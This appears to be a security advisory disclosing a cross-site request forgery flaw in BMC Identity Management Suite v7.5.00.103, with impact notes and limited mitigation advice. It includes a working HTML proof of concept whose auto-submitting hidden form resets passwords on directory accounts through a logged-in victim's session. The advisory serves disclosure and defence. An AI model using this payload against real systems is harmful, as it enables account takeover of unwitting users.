Overview
BMC Identity Management Suite v7.5.00.103 and possibility other versions are vulnerable to cross-site request forgery vulnerabilities.
Description
CWE-352: Cross-Site Request Forgery (CSRF):
It has been reported that BMC Identity Management Suite v7.5.00.103 and possibility other versions are vulnerable to cross-site request forgery in the user web interface.
Proof of concept to change a victims Windows password:
`<html><head><title>BMC IDM Change PW CSRF PoC</title></head>
<body onload=“document.getElementById(‘CSRF’).submit()”>
<form action=“<https://xxx.xxx.xxx.xxx/idm/password-manager/changePasswords.do>”; method=“post”
id=“CSRF”>
<input type=“hidden” name=“colChkbx_Tab1” value=“CN=Test User,OU=User
Accounts,DC=corporate,DC=business,DC=com corporate Win2000” />
<input type=“hidden” name=“password” value=“Abc123!” />
<input type=“hidden” name=“passwordAgain” value=“Abc123!” />
<input type=“hidden” name=“selAccts” value=“CN=user Name,OU=User
Accounts,DC=corporate,DC=business,DC=com corporate Win2000” />
</form></body></html>`
Impact
An unauthenticated attacker could trick a victim into clicking on a malicious link that could change any passwords managed by the BMC Identity Management Suite if the victim has a current logged in session on the web interface.
Solution
We are currently unaware of a practical solution to this problem.
Restrict access
As a general good security practice, only allow connections from trusted hosts and networks. Note that restricting access does not prevent XSS or CSRF attacks since the attack comes as an HTTP request from a legitimate user’s host. Restricting access would prevent an attacker from accessing the BMC Identity Management Suite web interface using stolen credentials from a blocked network location.
